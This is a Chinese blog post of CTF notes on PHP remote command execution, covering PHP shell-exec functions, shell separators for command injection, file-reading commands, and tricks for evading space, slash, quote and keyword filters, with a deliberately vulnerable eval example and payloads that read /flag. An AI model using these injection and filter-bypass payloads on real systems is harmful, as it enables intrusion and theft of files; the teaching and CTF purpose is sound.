yemaster的小窝

PHP命令执行&绕过

2024-12-08
69

常用函数

下面是 PHP 中一些常见的能够执行系统命令的函数。

  1. system 有回显
  2. exec 无回显
  3. passthru 有回显
  4. shell_exec 无回显
  5. 反引号 无回显
  6. popen 无回显,文件读写
    popen(string $command, string $mode)
  7. proc_open 无回显
    proc_open($command,$descriptor spec,$pipes,$cwd,$env vars,$options)

这些是 PHP 能执行 PHP 代码的函数 exec, assert, call_user_func

有回显的函数只要执行就能看到结果,无回显的则需要自己输出。

Shell 命令拼接

  1. ;
    按顺序依次执行命令
  2. &
    同分号
  3. &&
    从左到右执行,如果失败就不执行之后的命令
  4. ||
    前面的命令执行成功,就不继续执行。

如果题目中已经指定了执行的命令,则可以用这些分隔符进行分割,之后就可以执行自己想要的命令了。另外,PHP 中也可以用换行符 %0A 来分割。

读文件用命令

一般需要的是读取根目录下的 /flag 文件,下面这些命令都可以做到文件的读取。

  1. cat
  2. nl 显示行号
  3. od 八进制
  4. hexdump
  5. head
  6. tail
  7. more
  8. less
  9. xxd
  10. dd
  11. strings
  12. file -f
  13. uniq
  14. grep
  15. tac
  16. sort

绕过

空格绕过

  1. cat</flag
  2. {cat,/flag}
  3. $IFS$9,${IFS},$IFS代替空格
    IFS(Internal Field Seprator)
    $9和${IFS}单纯是为了和命令后面的部分做区分
  4. 用tab绕过 %09

斜杠绕过

$HOME变量存储是当前用户的主目录
例如 /home/xxxx
然后用变量截取可以得到/。

cat ${HOME:0:1}flag

引号绕过

可以用 chr 来拼接。

例题
<?php
error_reporting(0);
if(!isset($_GET['code'])){

show_source(__FILE__);

}else{

    $str = $_GET['code'];
    $blacklist = ['\'', '"'];
    foreach ($blacklist as $blackitem) {
            if (preg_match('/' . $blackitem . '/m', $str)) {
                    die("what are you want to do?");
            }
    }
    eval('echo '.$str.';');

}
?>

扫目录:print_r(scandir(chr(47)));,读取 /flag 文件:file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103));.

黑名单绕过

比如,禁止命令出现 flag。

1. 问号,中括号,星号

cat /f???
cat /fl[a-z]g
cat /f*

2. 变量拼接:

a=fl;b=ag;cat /$a$b;

也可以考虑用现有变量的,比如 $PATH 变量。

也可以考虑使用其他命令的执行结果,比如,如果 flag 在根目录下,则 ls / 命令执行结果一定有 flag,则可以用

a=$(ls /)

3. 插入空字符串绕过

在中间插入空的字符串,例如'',"",``,$9

cat /f$9l''a``g

$9也可以替换为其他空变量,$@,$*

4. 反斜杠绕过

可以在命令中插入反斜杠:

cat /f\l\ag

5. 编码绕过

  • base64编码

    echo Y2F0IC9mbGFn | base64 -d | bash
    $(echo Y2F0IC9mbGFn | base64 -d)
    `echo Y2F0IC9mbGFn | base64 -d`
  • hex编码
xxd –r –p
printf "\x74\x61..."

6. 其他

比如是在 PHP 中 eval 执行代码的话,可以用字符拼接来绕过。

分类标签:Web php rce 绕过
Comments

目录